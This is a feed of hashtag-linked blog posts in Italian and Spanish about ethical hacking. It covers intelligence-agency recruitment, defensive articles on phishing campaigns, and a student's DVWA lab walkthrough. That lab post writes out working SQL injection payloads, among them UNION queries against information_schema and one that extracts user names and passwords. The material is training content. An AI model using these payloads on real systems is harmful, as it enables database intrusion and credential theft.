#hackingetico

[scienza-magia]

Hacking Etico, come lavorare nei Servizi Segreti Italiani

Gli 007 italiani stanno assumendo. Ecco i profili ricercati. Cambiano le minacce al Paese, e con esse le professionalità che servono a difenderlo. Pubblicato un avviso per esperti in algoritmica per la crittoanalisi, fotointerpretazione di immagini satellitari e tecniche di machine learning per il riconoscimento biometrico. Petrelli (Roma Tre): “Sembra iniziato il processo di trasformazione digitale per rafforzare la raccolta” Cambiano le minacce alla sicurezza nazionale e l’intelligence di conseguenza. Lo racconta un avviso di ricerca pubblicato oggi dal Sistema di informazione per la sicurezza della Repubblica. L’intelligence italiana è, infatti, alla ricerca di giovani esperti in algoritmica per la crittoanalisi, fotointerpretazione di immagini satellitari e tecniche di machine learning per il riconoscimento biometrico. Risorse per difendere il Paese Il comparto, si legge in una nota, “seleziona costantemente le migliori risorse da porre a servizio del Paese, per la salvaguardia della sicurezza nazionale e per la tutela degli interessi strategici in campo politico, militare, economico, scientifico e industriale”. Oltre alle competenze tecniche, sono richiesti affidabilità e sicurezza, forte senso di responsabilità e di attaccamento alle istituzioni dello Stato, nonché comprovate doti di riservatezza, spiegano gli 007.

James Bond La selezione All’esito di un preliminare screening curriculare, i candidati saranno sottoposti alle previste procedure selettive, comprendenti la verifica del possesso di adeguate conoscenze e competenze professionali, dell’idoneità psico-fisica e attitudinale e dei requisiti di affidabilità e sicurezza. In caso di assunzione, la qualifica professionale attribuita terrà conto degli esiti della selezione, dei titoli di studio e delle esperienze professionali del candidato. La presentazione delle candidature è aperta fino alle ore 24:00 del 30 giugno 2023. Le candidature spontanee Per entrare a far parte dell’intelligence italiana resta sempre aperta la possibilità di presentare la propria candidatura spontanea attraverso la procedura on-line della sezione “Lavora con Noi”. I profili professionali di maggiore attenzione al momento in relazione ai settori di intervento sono quelli di: analista (in ambito geopolitico, del contrasto ai fenomeni del terrorismo e dell’eversione); esperto in campo economico (golden power, green economy e transizione energetica); conoscitore di lingue rare e dialetti d’area; tecnico della sicurezza cibernetica e nel campo dei droni; esperto nella ricerca informativa. Anche le candidature spontanee acquisite mediante la piattaforma on-line saranno sottoposte all’iter selettivo strutturato di cui sopra, preordinato all’individuazione delle risorse maggiormente rispondenti alle specifiche esigenze di impiego. Un’altra via per il reclutamento nell’intelligence italiana è la ricerca mirata di professionalità attraverso la collaborazione con i migliori atenei nazionali. Il commento di Petrlli (Roma tre) “Da questo avviso sembra che nell’intelligence italiana, tradizionalmente basata per buona parte sulla human intelligence, sia iniziato il processo di trasformazione digitale per rafforzare la raccolta, l’ambito in cui è più chiaro l’impatto delle nuove tecnologie, a differenza dell’analisi”, commenta Niccolò Petrelli, docente di studi strategici all’Università Roma Tre. “Inoltre i profili ricercati suggeriscono che in passato il sistema educativo non abbia prodotto le competenze necessarie o forse, più probabilmente, che chi ne è in possesso non abbia fino a oggi considerato l’opportunità di metterle al servizio dell’intelligence”. Read the full article

[cyberfero]

Esempi di phishing: le ultime campagne menzionate dal CSIRT

Estimated reading time: 8 minutes Gli attacchi di phishing di successo stanno aumentando rapidamente e così anche la varietà di forme in cui si presentano. Oggi voglio portare un paio di esempi di phishing segnalati nell'ultimo periodo sul territorio italiano dal CSIRT (Computer Security Incident Response Team). Milioni di utenti in tutto il mondo sono messi a rischio ogni giorno, statisticamente, uno ogni 30 secondi. I criminali informatici si stanno evolvendo e così anche le loro tecniche. Ma non è solo la tradizionale truffa di phishing che sta prendendo piede, ma anche lo spear phishing e la frode CEO ora offrono una portata molto più dannosa in ambito aziendale. Per le aziende, un attacco andato a buon fine, potrebbe significare milioni di dollari di danno. Poiché è noto che gli utenti, anche quelli aziendali, tendono ad essere pigri e a non gestire in modo efficace le loro password, anche una campagna di phishing diretta ai privati, potrebbe fornire credenziali utili per colpire poi account aziendali. Per questo motivo, una delle difese più efficaci è la formazione degli utenti, che conoscendo il pericolo, possono evitarlo del tutto.

Perché il phishing funziona?

Prima di fare degli esempi concreti di phishing avvenuti in territorio italiano, è interessante capire come mai sia una tecnica che funziona così bene. Secondo un white paper della Ostermann Research del 2017, il phishing è la maggiore fonte di preoccupazioni dei team di sicurezza. Ci sono 5 principali motivi, individuati da Ostermann Research, per cui il phishing è ancora un pericolo concreto. 1. Mancanza di consapevolezza Senza dubbio, il motivo predominante è la mancanza di "consapevolezza della sicurezza". Più specificamente, la mancanza di formazione su questioni come, per esempio, il phishing e il ransomware sono le ragioni principali del successo di questi attacchi. 2. Necessità di un maggiore numero di informazioni L'uso e la notorietà del Dark Web hanno abbassato il valore commerciale dei dati rubati. Il prezzo di un record di una carta di credito è sceso da 25 dollari nel 2011 a 6 dollari nel 2016, il che significa che i criminali informatici hanno dovuto adattare la loro attenzione a nuovi modi per guadagnare le quantità di denaro che facevano in passato. 3. Mancanza di protezione adeguata Le aziende non stanno facendo abbastanza per ridurre i rischi associati al phishing. Mancano processi di backup adeguati, così come l'incapacità di identificare gli utenti più deboli che hanno bisogno di ulteriore formazione. Inoltre, mancano forti processi di controllo, come una doppia conferma per ogni richiesta di trasferimento bancario. Trascurare questi protocolli significa mettersi direttamente nelle mani di alcune delle tecniche fraudolente più comuni. 4. Facilità di reperimento degli strumenti La disponibilità di kit di phishing e l'ascesa del ransomware-as-a-service (RaaS) ha dato agli aspiranti hacker una facile opportunità per entrare nel mercato e competere con le organizzazioni criminali sofisticate. La parte più preoccupante di questa tendenza crescente è che anche persone con poca o nessuna esperienza informatica stanno raccogliendo i frutti di questi strumenti facili da ottenere. 5. Gli attacchi fanno leva sui punti deboli delle persone Come abbiamo visto con l'ingegneria sociale, fare leva su alcuni fattori riesce ad abbassare la guardia delle persone. In alternativa, si punta a un senso di urgenza per fare in modo che non vengano effettuati i dovuti controlli prima di agire. Altre volte ancora è il senso di colpa o la vergogna che vengono utilizzati come arma per richiedere denaro in modo diretto, come nel caso del ransomware. Tra gli esempi di phishing che vedremo tra poco, io credo che i fattori principali per cui riescono ad andare a segno siano l'ignoranza in materia di (sicurezza) informatica e sensi di colpa o di urgenza trasmessi negli messaggi usati negli attacchi.

Esempi di phishing del 2021 su territorio italiano

"Rimborso Eni Gas e Luce" Questa campagna, segnalata nel marzo 2021, sfrutta come pretesto un finto rimborso proveniente da ENI Gas e Luce al fine di sottrarre dati personali e informazioni bancarie dalle vittime. La promessa di un rimborso e le pagine web apparentemente legittime sono elementi chiave dell'attacco. Vengono richiesti, i seguenti dati personali: nome, cognome, data di nascita, codice fiscale e numero di telefono. Inoltre, sono richiesti anche: tipologia carta di credito, numero, data di scadenza e codice di sicurezza. La vittima raggiunge la pagina di phishing seguendo un collegamento verso hxxps://legendaryfirewitch.tumblrcom/eni, una pagina ospitata sulla piattaforma social Tumblr. Da qui l'utente viene reindirizzato, mediante uno script Javascript, verso una pagina del tutto simile al sito di ENI.

Dopo aver inserito le credenziali nel form, vengono visualizzate due schermate. Una di riepilogo e una di conferma. Da notare che nella schermata di riepilogo viene menzionato il metodo di conferma SMS/OTP che però non è richiesto alla vittima. Infine, si viene indirizzati sul sito reale di ENI. Per difendersi, prestare sempre attenzione agli URL delle pagine visitate. Questi contengono spesso elementi di evidente illecito. Per esempio l'estensione ru delle pagine. Esempio di phishing relativo ad account bancari (N26) A fine marzo 2021, viene segnalata una campagna che colpisce i clienti della banca online N26. Attraverso SMS ed email, vengono richieste agli utenti i dati anagrafici, informazioni personali (numero di telefono e codice fiscale) e il codice OTP e il token di accesso univoco della carta di credito. Attraverso una landing page del tutto simile a quella di N26, viene chiesto di fare il login al servizio. L'utente inserisce le credenziali di accesso, il codice della carta e poi vengono richieste anche informazioni personali. La scusa è quella di effettuare un controllo sui dati dell'utente.

Dopo l'inserimento dei dati, viene comunicato alla vittima che il codice OTP inserito è errato e ne viene richiesto uno nuovo. Questo avviene per 3 volte, finché non viene mostrata una pagina di errore del server. Ormai i dati sono stati inseriti e mandati all'attaccante, il quale può accedere al conto della vittima grazie alle informazioni raccolte.

Conclusioni

Gli esempi di phishing riportati in questo articolo sono solo due di tutti quelli riportati regolarmente sul sito del CSIRT. Spesso le truffe sono del tutto evitabili, se solo si conoscessero le basi per individuare una pagina web fraudolenta. Un consiglio sempre valido: prima di seguire un link ricevuto vai email, è meglio visitare il sito dal proprio browser, senza usare gli URL forniti nel messaggio. Le comunicazioni via email sono spesso delle notifiche che devono avere un riscontro anche nella pagina dell'account sul sito. Chi cade vittima di un attacco di phishing, è probabile che non sia in grado di riconoscere le minacce in generale. Questo può diventare un rischio per tutta l'azienda. La difesa migliore è investire sui propri dipendenti. Questo può avvenire tramite campagne di ethical phishing seguite da una formazione mirata a consolidare i problemi rilevati. Noi di SOD possiamo aiutare la tua azienda a riconoscere i punti deboli per poi fornire ai dipendenti le informazioni di cui hanno bisogno per alzare il livello di guarda. Contattaci per sapere come possiamo aiutare nello specifico la tua azienda per alzare le difese contro il phishing e rendere più sicura l'infrastruttura. Link utili: - Acronis Disaster Recovery - The Architecture Overview - Cos'è la threat intelligence? - Progetti di Secure Online Desktop Read the full article

[cyberfero]

Ethical hacking: difendere sapendo come attaccare

Estimated reading time: 7 minutes L'ethical hacking indica l'applicazione a fin di bene di tecniche di hacking. Il termine "hacker" è stato coniato negli anni '60 al Massachusetts Institute of Technology (MIT) per descrivere gli esperti che usavano le loro abilità per ri-sviluppare i sistemi mainframe, aumentandone l'efficienza e permettendo loro di svolgere più compiti. Al giorno d'oggi, il termine descrive normalmente i programmatori esperti che ottengono un accesso non autorizzato nei sistemi informatici sfruttando le debolezze o utilizzando bug, motivati da cattive intenzioni. Per esempio, un hacker potrebbe creare algoritmi per crackare (violare) le password, penetrare nelle reti o anche interrompere i servizi di rete.

Con l'aumento della popolarità di Internet e del commercio elettronico, l'hacking negativo è diventato la forma più comunemente conosciuta. Un'immagine rafforzata dalla sua rappresentazione in varie forme di notizie e intrattenimento. Di norma, la spinta principale dell'hacking malevolo/non etico è il furto di informazioni preziose o il guadagno finanziario. Detto questo, non tutto l'hacking è cattivo. Infatti, esiste un secondo tipo di hacking: ethical hacking. Si potrebbe dibattere che questo è il tipo originale di hacking. Infatti, i primi hacker non avevano nessun intento negativo, anzi, il loro scopo era ottimizzare e migliorare i sistemi esistenti.

Cos'è l'ethical hacking e perché ne abbiamo bisogno?

Ethical Hacking è la pratica autorizzata di bypassare la sicurezza di un sistema per identificare potenziali violazioni di dati e minacce in una rete. La società che possiede il sistema o la rete permette agli ingegneri/hacker etici di eseguire tali attività al fine di testare le difese del sistema. Quindi, a differenza dell'hacking malevolo, l'ethical hacking è pianificato, approvato e, soprattutto, legale. Gli hacker etici hanno lo scopo di indagare il sistema o la rete alla ricerca di punti deboli che gli hacker malintenzionati potrebbero sfruttare o distruggere. Raccolgono e analizzano le informazioni per capire come rafforzare la sicurezza del sistema/rete/applicazioni. Così facendo, possono migliorare la sicurezza in modo che possa resistere meglio agli attacchi o mitigarli. Gli hacker etici sono assunti dalle organizzazioni per prevenire le violazioni dei dati. In sostanza si fa questo ragionamento: per capire come un ladro potrebbe entrarci in casa, la cosa migliore è fingersi ladri e usare le loro tecniche. Da notare che il ragionamento implica che chi svolge ethical hacking non conosca lo stato del sistema che sta per violare, così non sarà in alcun modo influenzato nello svolgere determinate attività o violare solo certe parti del sistema. Per l'azienda questo significa che il miglior hacker etico che possono trovare è un esterno al team di sicurezza. L'attività degli hacker etici L'ethical hacking controlla vulnerabilità chiave che includono molti aspetti del sistema informatico come: cambiamenti nelle impostazioni di sicurezza, esposizione di dati sensibili, violazione dei protocolli di autenticazione, etc. Ovviamente ogni infrastruttura aziendale è composta da una combinazione di strumenti, hardware e software potenzialmente unica. Per questo, l'hacker etico deve mettere in campo moltissime conoscenze, strumenti personalizzati e procedure specifiche che non sono quasi mai le stesse da progetto a progetto. Questo è positivo, perché, proprio come gli hacker malintenzionati, anche l'hacker etico è spinto ad essere sempre aggiornato sulle novità del settore, testare nuove tecniche e studiare nuovi modi per mitigare il rischio.

Tipi di hacker

La pratica dell'ethical hacking è chiamata in gergo hacking "white hat" e coloro che la eseguono sono chiamati hacker white hat. In contrasto con l'hacking etico, quello "Black Hat" descrive le pratiche che comportano violazioni della sicurezza. Gli hacker black hat utilizzano tecniche illegali per compromettere i sistemi o violare dei dati. A differenza degli hacker white hat, gli hacker "Grey Hat" non chiedono il permesso prima di entrare nel sistema, ma le loro motivazioni non sono malevole. Infatti, i grey hat sono anche diversi dai Black Hat perché non eseguono l'hacking per vantaggio personale o di terzi. Questi hacker violano i sistemi per divertimento, di solito informando il proprietario di qualsiasi minaccia che trovano. Grey hat e black hat hacking sono entrambi illegali perché entrambi costituiscono una violazione non autorizzata del sistema, anche se le intenzioni sono profondamente diverse.

Le intenzioni

Il modo migliore per distinguere tra gli i white hat e black hat è dare un'occhiata alle loro motivazioni. I black hat sono motivati da guadagni personali, profitto o molestie; mentre i white hat (hacker etici) cercano e rimediano alle vulnerabilità, in modo da impedire agli altri hacker di trarne vantaggio. Vediamo insieme altre differenze tra i due tipi di hacker. Tecniche utilizzate L'ethical hacking duplica le tecniche e i metodi seguiti dagli hacker malintenzionati al fine di scoprire le falle del sistema. Replicando tutti i passi dei cyber criminali, si può scoprire come un attacco al sistema sia avvenuto o possa avvenire. Se trovano un punto debole nel sistema o nella rete, lo segnalano immediatamente e sistemano la falla. Questo tipo di servizi sono solitamente chiamati valutazione delle vulnerabilità e test di penetrazione, e sono offerti anche da SOD. Legalità Anche se il l'hacker etico segue le stesse tecniche e metodi dei black hat hacker, solo una pratica è legalmente accettabile. Gli hacker, normalmente, infrangono la legge penetrando nei sistemi senza consenso, mentre gli hacker etici ricevono il permesso dai proprietari dei sistemi che li ingaggiano per testare le infrastrutture. Proprietà Gli hacker etici sono impiegati dalle organizzazioni per penetrare nei loro sistemi e rilevare problemi di sicurezza. I black hat hacker non possiedono il sistema né lavorano per qualcuno che lo possiede.

Benefici dell'ethical hacking

Imparare l'hacking etico comporta lo studio della mentalità e delle tecniche dei black hat hacker per imparare a identificare e correggere le vulnerabilità all'interno delle reti. Lo studio dell'hacking etico può essere applicato dai professionisti della sicurezza in tutte le industrie e in una moltitudine di settori. Questa sfera include il network defender, il risk management e il quality assurance tester. Tuttavia, il vantaggio più evidente dell'apprendimento dell'hacking etico è il suo potenziale per informare e migliorare e difendere le reti aziendali. La minaccia principale per la sicurezza di qualsiasi organizzazione è un hacker. Imparare, capire e implementare come operano questi criminali può aiutare i responsabili della sicurezza a dare priorità ai potenziali rischi e imparare come rimediare al meglio. Da notare che l'hacking non deve essere inteso come relativo solo alle infrastrutture informatiche ma a tutto l'apparato tecnologico di un azienda. L'ingegneria sociale, per esempio, fa leva sul fattore umano per ottenere accessi a luoghi, fisici o virtuali, in cui sono custoditi dei dati di valore. Ancora, tramite campagne di phishing, è possibile ingannare gli utenti di un sistema a fornire le proprie password e "regalare" l'accesso a malintenzionati.

I servizi di SOD per la sicurezza della tua azienda

Ogni azienda che gestisce dati sensibili dei propri clienti deve assicurarsi che le procedure e i sistemi utilizzati siano sufficientemente sicuri. Come accennato prima, far svolgere test e prove di vulnerabilità a personale interno potrebbe essere un'arma a doppio taglio. Se anche si disponesse di un esperto di sicurezza, è da considerare che dovendo violare sistemi che magari ha lui stesso messo in opera, aumenta il rischio di un falso positivo. Per questo motivo, aziende come SOD mettono a disposizione dei servizi orientati proprio alla valutazione e test delle misure di sicurezza aziendale. Dal classico Vulnerability Assessment e Penetration Test, pensati per mettere alla prova hardware e software di rete, è possibile passare a servizi che testano fisicamente la sicurezza aziendale o anche le procedure di gestione dei dati sensibili. Con gli addon per la sicurezza fisica si mettono in campo tecniche per guadagnare l'accesso agli uffici, tentare di raggiungere le centraline di rete o i server, ma anche tentativi di manomissione o installazione di hardware non autorizzato. Per quello che riguarda il fattore umano, è anche disponibile un servizio di phishing etico, attraverso il quale viene lanciata una campagna di phishing verso l'azienda e vengono testate le reazioni dei dipendenti. Questo individua i punti deboli che saranno poi utilizzati per organizzare un percorso formativo ad hoc. Come vedi, SOD mette a disposizione delle aziende dei servizi completi per la sicurezza. Non esitare a contattarci per richiedere ulteriori informazioni o farci eventuali domande che potresti avere. Read the full article

[cyberfero]

Cos'è il phishing? Capire e individuare attacchi di ingegneria sociale

ICON_PLACEHOLDERTempo di lettura stimato: 7 minuti Il phishing è un tipo di attacco di ingegneria sociale spesso utilizzato per rubare i dati degli utenti, comprese le credenziali di accesso e i numeri delle carte di credito. Si verifica quando un aggressore, mascherato da un'entità fidata, inganna una vittima ad aprire un'e-mail, un messaggio istantaneo o un messaggio di testo. Il destinatario viene quindi indotto a cliccare su un link dannoso, che può portare all'installazione di malware, al congelamento del sistema come parte di un attacco ransomware o alla rivelazione di informazioni sensibili. Un attacco può avere risultati devastanti. Per gli individui, questo include acquisti non autorizzati, il furto di fondi o il furto di identità.

Cos'è il phishing per le aziende?

Ancora più dannoso, il phishing è anche utilizzato per guadagnare un punto d'ingresso nelle reti aziendali o governative come parte di un attacco più grande, come un evento di minaccia avanzata persistente (APT - Advanced Persistent Threat). In quest'ultimo scenario, i dipendenti vengono compromessi al fine di aggirare i perimetri di sicurezza, distribuire malware all'interno di un ambiente chiuso, o ottenere un accesso privilegiato ai dati protetti. Un'organizzazione che soccombe a un attacco di questo tipo in genere subisce gravi perdite finanziarie, oltre a un calo della quota di mercato, della reputazione e della fiducia dei consumatori. A seconda della portata, un tentativo di phishing potrebbe degenerare in un incidente di sicurezza da cui un'azienda avrà difficoltà a riprendersi.

Come si presenta un attacco phishing

Sapere cos'è il phishing spesso non basta per proteggersi. La cosa migliore da fare è lavorare sulla resilienza agli attacchi e capire come individuarli prima di caderne vittima. Come abbiamo accennato prima, infatti, le conseguenze possono essere di proporzioni enormi. Ma, se sembra semplice da fare quando si tratta di un singolo individuo, come fare se c'è un'intera azienda da proteggere? SOD offre un servizio orientato proprio a questo: formare intere aziende al riconoscimento e mitigazione del rischio di attacchi phishing. Attraverso un primo attacco controllato, siamo in grado di capire quali sono i punti su cui lavorare. Successivamente vengono organizzate delle proposte formative per i dipendenti. Viene loro insegnato come riconoscere le minacce prima che queste diventino problematiche. Per saperne di più, è possibili visitare la pagina del servizio. Ma vediamo come si presenta un attacco generico. Esempio di attacco 1. Un'email fasulla apparentemente proveniente da lamiauniversita.edu viene distribuita in massa al maggior numero possibile di membri della facoltà. 2. L'email sostiene che la password dell'utente sta per scadere. Vengono date istruzioni per andare sul link lamiauniversita.edu/rinnovo per rinnovare la loro password entro 24 ore. Possono accadere varie cose cliccando sul link proposto. - L'utente viene reindirizzato a lamiauniversita.edurinnovo.com, una pagina fasulla che appare esattamente come la vera pagina di rinnovo, dove vengono richieste sia la password nuova che quella esistente. L'attaccante, monitorando la pagina, dirotta la password originale per - ottenere l'accesso alle aree protette della rete universitaria. - L'utente viene inviato alla vera pagina di rinnovo della password. Tuttavia, mentre viene reindirizzato, uno script maligno si attiva in background per dirottare il cookie di sessione dell'utente. Questo si traduce in un attacco di tipo Cross Site Scripting, dando all'autore l'accesso privilegiato alla rete universitaria.

Logica di un attacco L'email phishing è un gioco di grandi numeri. Un aggressore che invia migliaia di messaggi fraudolenti può ottenere informazioni significative e somme di denaro, anche se solo una piccola percentuale di destinatari cade nella truffa. Gli hacker si impegnano a fondo nella progettazione di messaggi per un attacco phishing imitando le email reali di un'organizzazione camuffata. Usando lo stesso fraseggio, gli stessi caratteri tipografici, gli stessi loghi e le stesse firme, i messaggi appaiono legittimi. Inoltre, un'altra cosa a cui prestare attenzione, è che gli aggressori di solito cercano di spingere gli utenti all'azione creando un senso di urgenza. Per esempio, come mostrato in precedenza, un'email potrebbe minacciare la scadenza dell'account e mettere il destinatario in una condizione di urgenza. L'applicazione di tale pressione porta l'utente ad essere meno diligente e più incline all'errore. Infine, i link all'interno dei messaggi assomigliano alle loro controparti legittime, ma in genere hanno un nome di dominio scritto male o sottodomini extra. Nell'esempio precedente, l'URL lamiauniverista.edu/rinnovo è stato cambiato in lamiauniversita.edurinnovo.com. Le somiglianze tra i due indirizzi offrono l'impressione di un collegamento sicuro, rendendo il destinatario meno consapevole che un attacco è in corso.

Cos'è lo spear phishing

Lo spear phishing prende di mira una specifica persona o impresa, al contrario degli utenti casuali. È una versione più approfondita del phishing che richiede una conoscenza speciale di un'organizzazione, compresa la sua struttura di potere. Un attacco potrebbe svolgersi nel seguente modo: - Un hacker ricerca i nomi dei dipendenti all'interno del dipartimento di marketing di un'organizzazione e ottiene l'accesso alle ultime fatture dei progetti. - Fingendosi il direttore del marketing, l'aggressore invia un'email a un project manager del dipartimento utilizzando un oggetto che dice: Fattura aggiornata per le campagne Q3. Il testo, lo stile e il logo incluso duplicano il modello di email standard dell'organizzazione. - Un link nell'e-mail reindirizza a un documento interno protetto da password, che è in realtà una versione falsificata di una fattura rubata. - Al direttore marketing viene richiesto di effettuare il login per visualizzare il documento. L'attaccante ruba le sue credenziali, ottenendo l'accesso completo alle aree sensibili all'interno della rete dell'organizzazione. Fornendo all'attaccante credenziali di accesso valide, lo spear phishing è un metodo efficace per eseguire la prima fase di un attacco di tipo ransomware. Cos'è il whale phishing Il whale phishing, o whaling, è una forma di spear phishing che mira ai pesci molto grossi: CEO o altri obiettivi di alto valore. Molte di queste truffe prendono di mira i membri del consiglio di amministrazione di un'azienda, che sono considerati particolarmente vulnerabili. Infatti, essi hanno una grande autorità all'interno dell'azienda, ma poiché non sono dipendenti a tempo pieno, spesso usano indirizzi email personali per la corrispondenza relativa al business, che non ha le protezioni offerte dalle email aziendali. Raccogliere abbastanza informazioni per ingannare un obiettivo di alto valore potrebbe richiedere tempo, ma può avere un ritorno sorprendentemente alto. Nel 2008, i criminali informatici hanno preso di mira i CEO aziendali con e-mail che sostenevano di avere allegati i mandati di comparizione dell'FBI. In realtà, hanno installato keylogger sui computer dei dirigenti. Il tasso di successo dei truffatori è stato del 10%, catturando quasi 2.000 vittime.

Come difendersi

La protezione contro un attacco phishing richiede l'adozione di misure sia da parte degli utenti che delle imprese. Per gli utenti, la vigilanza è la chiave. Un messaggio contraffatto spesso contiene errori sottili che espongono la sua vera natura. Questi possono includere errori di ortografia o modifiche ai nomi di dominio, come visto nell'esempio dell'URL precedente. Gli utenti dovrebbero domandarsi quale sia il motivo per cui stanno ricevendo una certa e-mail.

Per le imprese, una serie di misure possono essere prese per mitigare sia il phishing che gli attacchi di spear phishing: L'autenticazione a due fattori (2FA) è il metodo più efficace per contrastare gli attacchi di phishing, in quanto aggiunge un ulteriore livello di verifica quando si accede ad applicazioni sensibili. La 2FA si basa sul fatto che gli utenti abbiano due cose: qualcosa che conoscono, come una password e un nome utente, e qualcosa che hanno con sé, come il loro smartphone. Anche quando i dipendenti vengono compromessi, 2FA impedisce l'uso delle loro credenziali compromesse, poiché queste da sole non sono sufficienti per entrare. Oltre all'uso di 2FA, le aziende dovrebbero applicare rigorose politiche di gestione delle password. Per esempio, ai dipendenti dovrebbe essere richiesto di cambiare frequentemente le loro password e di non essere autorizzati a riutilizzare una password per più applicazioni. Infine, le campagne educative possono anche aiutare a diminuire la minaccia di attacchi di phishing facendo rispettare pratiche sicure, come non cliccare su link esterni alle email. A questo proposito vorrei ricordare il servizio di phishing etico di SOD, che ha proprio l'intento di testare l'azienda e organizzare formazioni mirate per mitigare i rischi. Non è sufficiente sapere cos'è il phishing, è necessario anche saperlo riconoscere. Link utili: Phishing Mitre Att&ck Ransomware a doppia estorsione Read the full article

[andresmarquex]

Inspirando ideas #soygenex #hackingetico (en Blue radio Medellin) https://www.instagram.com/p/B4ozk97AGsD/?igshid=j1mjkb2k9cq

[monkeyelgrande-blog]

View this post on Instagram

#aircrack #hack #hacking #wifi #hackingetico

[carlosvega93-blog]

UNIDAD 2 - TAREA 4:

En la tarea 1, mediante el escaneo de trafico de paquetes, aprendí a como poder observar y saber interpretar la información que se muestra al momento de efectuar un escaneo a los 3 tipos de conexiones tales como telnet, ssl y ssh, para poder conocer sus diferentes tipos de información y datos que viajan a través de la red y la manera de como interactuan diferentes puntos de red tales como host, la herramienta wireshark es una de las mejores al momento del análisis de trafico ya que en la tarea su utilización fue de gran ayuda para el entendimiento de la practica.

En la tarea 2, la inyección sql, la realización de esta tarea ayudo muchísimo al entendimiento de como obtener información de un sitio web sobre la base de datos que en el funciona, mediante unas sentencias y posterior a su ejecución, la información única, privada y delicada dela base de datos se mostraba con total normalidad y sin ningún tipo de restricciones, esto supone una fuerte vulnerabilidad, ya que los datos de esa base de datos estaban disponibles a la persona que perpetraba el ataque, en donde esa información en confidencial a dicho sitio web, en donde esta información no debe ser vista ante nadie, ya que si esta disponible, esta propensa a sufrir ataques aprovechando sus vulnerabilidades.

La tarea 3, sobre el foro, pues mi reflexión es que un hacker hace su trabajo, recibe dinero para su propio sustento, PERO, no por ello, se justifica las acciones incorrecta que efectúa, tales como vulnerar sistemas para tener acceso a información privada y delicada de una persona u empresa, todo aquello debe tener un limite, ya que si no se lo respeta, puede que sus acciones terminen con la integridad física de una persona y eso es algo que no se debe realizar, ademas de que todo hacker no es malo, la sociedad tiene una idea mala e incorrecta sobre las funciones que realiza un hacker, en vez de aprovechar sus conocimientos para protegerse contra los delitos informáticos, que cada vez son mas engañosos y las personas que no conocen de esto, caen fácilmente.

[carlosvega93-blog]

UNIDAD 2: TAREA 2 – INYECCION SQL

La inyección SQL hace referencia a usar las técnicas de SQL para obtener información sobre la estructura de una base de datos.

Para esto, se va a utilizar una máquina virtual del cual servirá para poder efectuar las sentencias SQL y así poder realizar la práctica.

Se descargó la máquina virtual y se configuro la manera de acceder a ella mediante una IP.

La configuración que se hace en la máquina virtual es únicamente la opción de red de la misma, se ubicó la opción de Adaptador 1 à Conectado a: Adaptador Puente ==> Se selecciona el de Wifi (en mi caso). 

Luego de ello, se inicia la máquina virtual, en donde al momento de ya culmine la inicialización, mostrara en la ventana lo siguiente:

Dicha dirección ip que se muestra, se la utiliza en un navegador quedando de la siguiente manera (http://direccionIP/login.php):

Para acceder se debe logear, para ello, el usuario es admin y la contraseña password.

Se abre la siguiente ventana, en donde nos da la bienvenida, para la práctica, se ubicara la seguridad en LOW en el apartado de DVWA Security.

Después de aquello, nos ubicaremos en el apartado de SQL Injection, mostrándonos una ventana como esta:

Se empieza con los comandos necesarios, como ejemplo:

Inyección básica:

          o   Ingresamos “1” en el textbox y se clic en el botón, en donde mostrara                 como resultado el registro cuyo campo id tenga dicho valor.

          o   El PHP coge dicho valor y ejecuta lo siguiente: $getid = "SELECT                      first_name, last_name FROM users WHERE user_id = '$id'";

Siempre en un escenario:

          o   Se ingresa en la caja de texto lo siguiente: %' or '0'='0  y se da clic en                el botón.

          o   En este escenario, estamos diciendo que la sentencia, todos los                        registros son falsos y que todos los registros son ciertas.

               - %' ==> Probablemente no será igual a cualquier cosa, y será falsa.                  - '0'='0'  à Es igual a verdad, porque siempre será igual a 0 0.

Inyección SQL para conocer la versión de la base de datos.

         o   Se escribe la siguiente sentencia SQL para poder obtener la                             información de la versión: %' or 0=0 union select null, version()#.

         o   A continuación se muestra en donde se indica la versión de la base                   de datos.

Mostrar el usuario de la base de datos.

          o   Para poder mostrar el usuario de la base de datos, se escribe la                        siguiente sentencia: %' or 0=0 union select null, user() #

          o   A continuación, se muestra el usuario:

Mostrar el nombre de la base de datos.

           o   Ingresar la siguiente sentencia para poder obtener dicha                                   información: %' or 0=0 union select null, database() #

           o   A continuación se muestra el nombre de la base de datos al                               momento de ejecutar la sentencia.

Mostrar todas las tablas de Information_schema.

          o   Se escribe la siguiente sentencia para mostrar todas las tablas de la                  base de datos: %' and 1=0 union select null, table_name from                      information_schema.tables #.

          o   A continuación se muestra el resultado de haber ejecutado la                           sentencia.

Mostrar todos los usuarios de las tablas de la Information_schema.

          o   Mediante la siguiente sentencia se muestran los usuarios de las                        tablas: %' and 1=0 union select null, table_name from                                        information_schema.tables where table_name like 'user%'#.

         o   A continuación se muestra el resultado de haber ejecutado dicha                       sentencia.

Mostrar todos los campos de la tabla usuario.

          o   Mediante la siguiente sentencia, se obtiene información sobre los                      campos de la tabla usuario de la base de datos: %' and 1=0 union                    select null, concat(table_name,0x0a,column_name) from                            information_schema.columns where table_name = 'users' #.

          o   A continuación se muestra el resultado de ejecutar dicha sentencia.

Mostrar el contenido de todas las columnas de la tabla usuario.

          o   Mediante el siguiente comando, se mostrara el contenido de las                        columnas, es decir los registros de la tabla usuario: %' and 1=0 union                select null,                                                                                               concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

          o   A continuación se presenta el resultado de ejecutar dicha sentencia.

Y así es como se puede conocer la estructura de una base de datos, mediante inyección SQL con las sentencias indicadas y así es como se da por terminada la práctica.